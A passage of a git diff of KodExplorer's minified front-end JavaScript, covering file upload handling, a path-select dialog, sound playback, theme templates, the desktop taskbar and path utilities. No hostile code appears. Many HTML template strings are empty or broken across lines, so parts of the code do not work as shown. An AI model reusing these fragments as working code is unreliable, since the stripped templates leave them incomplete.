e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var a=$(this).find("span.title").attr("title");ui.pathOpen.open(a),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var a=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(a),uploader.removeFile(a,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,a){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*a,t=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:t>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,t),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var a=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(a),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var a;try{a=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(a=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=a,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var t=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==t||"undefined"==t)&&(t=e.name),file_num++;var n=$(".uploader-list"),o='
    '+''+htmlEncode(core.pathThis(t))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
    ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,a){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),a.fullPath=i,a.upload_to=e.file.upload_to}).on("uploadProgress",function(e,a){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,a),t=$("#"+e.id),n=t.find(".progress .progress-bar");n.length||(n=$('
    ').appendTo(t).find(".progress-bar")),t.find(".state").text((100*a).toFixed(1)+"%("+i+")"),n.css("width",100*a+"%")}).on("uploadAccept",function(e,a){if(e.file.serverData=a,!a.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(a.info)}catch(i){}}).on("uploadSuccess",function(e){var a=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(a),file_finished++;var i=e.serverData;if(i&&i.data){var t=LNG[i.data];i.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(t),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(t).attr("title",t))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,a){var i=LNG.upload_error+"("+a+")";e.serverData&&0==e.serverData.code&&(i=LNG[e.serverData.data],!i&&e.serverData.data&&(i=e.serverData.data),Tips.tips(i,!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
    '+LNG.upload_drag_tips+"
    ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var a=e.dataTransfer.getData("text/plain");a&&"http"==a.substring(0,4)&&ui.pathOperate.appAddURL(a)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,a,i){var t=$(i.DOM.wrap),n=a.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(t.find(".aui_state_highlight"));var s=function(a){var i=e.allowExt.split("|"),t=core.pathExt(a);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(t,i)?!0:!1},r=function(){var a=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var t=$(a.get(0));if("all"==e.type&&0==a.length)i={file:[],folder:[]};else if("file"==e.type&&0==a.length)i=[];else if("folder"==e.type)i=[n.G.this_path],t.hasClass("folderBox")&&(i=[n.ui.fileLight.path(t)]);else if("file"==e.type){if(t.hasClass("fileBox")){var o=n.ui.fileLight.path(t);s(o)&&(i=[o])}}else if("all"==e.type)if(t.hasClass("folderBox")){var o=n.ui.fileLight.path(t);i=[{file:[],folder:[o]}]}else if(t.hasClass("fileBox")){var o=n.ui.fileLight.path(t);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];a.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(a){var i=t.find(".path_select_input"),o=t.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;a.length>r;r++)l(a[r])&&s.push(a[r]);a=s}if(0==a.length||"all"==e.type&&0==a.file.length&&0==a.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(a)),d="";if(e.single)d=n.core.pathThis(a[0]);else{var p=a;"all"==e.type&&(p=a.folder.concat(a.file)),$.each(p,function(e,a){d+=n.core.pathThis(a)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(a,i){var t={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";a=$.extend(t,a),a.firstPath&&(n+="&path="+a.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:a.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,t=e.find(".path_select_input").attr("result");t=jsonDecode(hashDecode(t)),t?a.single&&"all"!=a.type?i(t[0]):i(t):Tips.tips(LNG.error,!1)}},cancel:!0});e(a,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(a){"function"==typeof e&&e(a)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var a={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(a){var i="x-play-sound";0==$("."+i).length&&$('
    ').appendTo("body");var t=G.static_path+"others/sound/"+a,n=e("./myPlayer");n.playSound(t,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(a[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/app/page",[],function(){var e,a=function(){e=location.hash.split("#",2)[1],e||(e="all"),t(e),$("ul.setting a").click(function(){e!=$(this).attr("id")&&(e=$(this).attr("id"),t(e))}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(){var e="index.php?setting/set&k="+type+"&v="+value;$.ajax({url:e,dataType:"json",success:function(e){Tips.tips(e.data,e.code)}})}),$(".create_app").die("click").live("click",function(){window.parent&&window.parent.ui.path.pathOperate.appEdit("","","root_add")}),$(".app-list .app_li").die("click").live("click",function(e){if($(e.target).attr("action")){var a=jsonDecode(base64Decode($(this).attr("data-app"))),i=$(e.target).attr("action");switch(i){case"preview":core.openApp(a);break;case"add":var n="/";ShareData.frameTop("",function(e){n=e.G.this_path});var o=urlEncode(n+a.name),s="./index.php?app/user_app&action=add&path="+o;$.ajax({url:s,dataType:"json",type:"POST",data:{data:urlEncode(jsonEncode(a))},error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&ShareData.frameTop("",function(e){e.ui.f5()})}});break;case"edit":ShareData.frameTop("",function(e){e.ui.path.pathOperate.appEdit(a,"","root_edit")});break;case"del":$.dialog({id:"dialog_app_remove",icon:"question",padding:20,width:200,lock:!0,background:"#000",opacity:.3,content:LNG.remove_info,ok:function(){$.ajax({url:"./index.php?app/del&name="+urlEncode(a.name),dataType:"json",error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&t()}})},cancel:!0});break;default:}}})},i=function(e){var a="",i=" ";G.is_root||(i="");for(var t in e)if(e[t]){var n=e[t].icon;-1==n.search(G.static_path)&&"http"!=n.substring(0,4)&&(n=G.static_path+"images/file_icon/icon_app/"+n),a+="
  • "+e[t].name+" "+e[t].desc+"

    "+"
    "+i+"
  • "}return a+="
    "},t=function(a){(void 0==a||""==a)&&(a=e),$(".selected").removeClass("selected"),$("ul.setting a#"+a).addClass("selected"),$(".main").find(".h1").html(""+$(".selected").text());var t=$(".main .app-list");$.ajax({url:"./index.php?app/get&group="+a,dataType:"json",beforeSend:function(){},success:function(e){t.html(i(e.data)),$("body").scrollTop(0)}})};return{reload:t,init:a}}); \ No newline at end of file diff --git a/static/js/app/src/desktop/main.js b/static/js/app/src/desktop/main.js index a41ae6a..448bc3c 100755 --- a/static/js/app/src/desktop/main.js +++ b/static/js/app/src/desktop/main.js @@ -1,8 +1,8 @@ -/*! power by kodexplorer ver3.35(2016-12-23) [build 1482476909174] */ -define("app/src/desktop/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/taskTap","../../common/core","../../common/rightMenu","../explorer/ui","../explorer/fileContent","../explorer/path","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".bodymain .fileContiner",FileBoxClass:".bodymain .fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".bodymain .fileContiner .title",SelectClass:".bodymain .fileContiner .file.select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",pageApp:"desktop",navbar:"navbar",AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../common/rightMenu"),ui=e("../explorer/ui"),ui.path=e("../explorer/path"),ui.fileLight=e("../explorer/fileLight"),ui.fileSelect=e("../explorer/fileSelect"),ui.fileListResize=e("../explorer/fileListResize"),$(document).ready(function(){G.user_config.list_type="icon",core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),TaskTap.init(),rightMenu.initDesktop(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),$(".fileContiner").removeClass("hidden"),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()}),$(".bodymain").click(function(){"block"==$("#menuwin").css("display")&&$("#menuwin").css("display","none"),$("body").focus()}),$(".start").click(function(){"block"==$("#menuwin").css("display")?$("#menuwin").css("display","none"):$("#menuwin").css("display","block")}),$("#menuwin").click(function(){$("#menuwin").css("display","none")}),$(".copyright").click(function(){core.copyright()}),$(".tab_hide_all").click(function(){if(0!=$.dialog.list.length){$(this).toggleClass("this");var e=!$(this).hasClass("this");$.each($.dialog.list,function(i,t){t.display(e)})}});var i='
    ';$("body").append(i);var t=$("#randomWallpaper .flower");t.bind("click",function(){t.addClass("moveCircle");var e=function(e){var i=G.myhome+"picture/wallpage/";$.get("./index.php?explorer/mkdir&repeat_type=replace&path="+i,function(){$.get("./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e))})};core.api.randomImage(function(i){ui.setWall(i,function(){setTimeout(function(){t.removeClass("moveCircle")},100)}),$.get("index.php?setting/set&k=wall&v="+urlEncode(i)),e(i)})})})}),define("app/common/taskTap",[],function(){var e={},i="",t=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var i=e.attr("id"),t=$.dialog.list[i];if(void 0==t)return c(i),void 0;var a=$("."+i);"hidden"==a.css("visibility")?t.display(!0).zIndex():a.hasClass("aui_state_focus")?t.display(!1):t.zIndex()},o=function(){var e,i,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(i){1==i.which&&(e=$(this),h(i),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(i){_(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(i.pageX-l)&&n(e)}))});var h=function(t){s=!0,r=!0,l=t.pageX,$tab_parent=$(".task_tab"),i=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(i.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(i.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=t.clientX-l+c;$("body").prepend("
    "),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(t){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(t);var n=t.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),i.each(function(){var i=$(this).get(0).getBoundingClientRect().left;if(n>i&&i+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"left")}if(n>i-d/2+p&&i>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"right")}}))}},v=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),i=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},t),l.animate({width:"0px"},t,function(){$(this).remove(),i=$(".task_tab .tab")})}},_=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},t,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var i=110,a=i,n=i+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},t);case"close":o.animate({width:a+"px"},t);break;case"resize":o.css("width",a+"px");break;default:}},r=function(i,t){$(".task_tab").removeClass("hidden");var a=t.replace(/<[^>]+>/g,""),n='
    '+t+"
    ";$(n).insertBefore(".task_tab .last"),s("add"),e[i]={id:i,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),i=e},c=function(i){$(".task_tab #"+i).animate({width:0},t,function(){if($(".task_tab #"+i).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[i]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep100:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"quitOthers":$.each($.dialog.list,function(e,i){t!=e&&i.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,i){var t=i.$trigger.attr("id");switch($.dialog.list[t],e){case"showAll":$.each($.dialog.list,function(e,i){i.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,i){i.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,i){i.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='
    ';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1)),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]()},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},i=!!window.ActiveXObject||"ActiveXObject"in window,t="chrome";i&&(t="ie"),core.filetypes.music=e[t].music,core.filetypes.movie=e[t].movie};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,i){if(i=void 0==i?"":i,"string"==$.type(e)){var t=trim(trim(e),"/");if(e={},"{"!=t.substring(0,1)||t.split("/").length>1)return{icon:"",name:""};e.path_type=t.match(/\{.*\}/),e.id=t.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:i}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=i),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var i=e.match(/\{.*\}/),t=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return $.inArray(i,t)&&(a=!0),a},contextmenu:function(e){try{rightMenu.hidden()}catch(i){}var i=e||window.event;return i?i&&$(i.target).is("textarea")||$(i.target).is("input")||$(i.target).is("p")||$(i.target).is("pre")||0!=$(i.target).parents(".can_right_menu").length||0!=$(i.target).parents(".topbar").length||0!=$(i.target).parents(".edit_body").length||0!=$(i.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/"),a=i.substr(t+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var i=e.replace(/\\/g,"/");return i=i.replace(/\/+/g,"/"),i=i.replace(/\.+\//g,"/")},pathFather:function(e){var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/");return i.substr(0,t+1)},pathExt:function(e){var i=trim(e,"/");return-1!=i.lastIndexOf("/")&&(i=i.substr(i.lastIndexOf("/")+1)),-1!=i.lastIndexOf(".")?i.substr(i.lastIndexOf(".")+1).toLowerCase():i.toLowerCase()},path2url:function(e,i){if("http"==e.substr(0,4))return e;void 0==i&&(i=!0);var t,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var i=urlEncode(e);return i=i.replace(/%2F/g,"/")};return G.is_root&&i&&a.substring(0,G.web_root.length)==G.web_root?t=G.web_host+n(a.replace(G.web_root,"")):(t=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(t=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),t},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var i;i=G.json_data.filelist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;i=G.json_data.folderlist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;return!0},authCheck:function(e,i){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==i&&(i=LNG.no_permission),Tips.tips(i,!1),!1):!0},ajaxError:function(e){var i=e.responseText,t='
    '+i+"
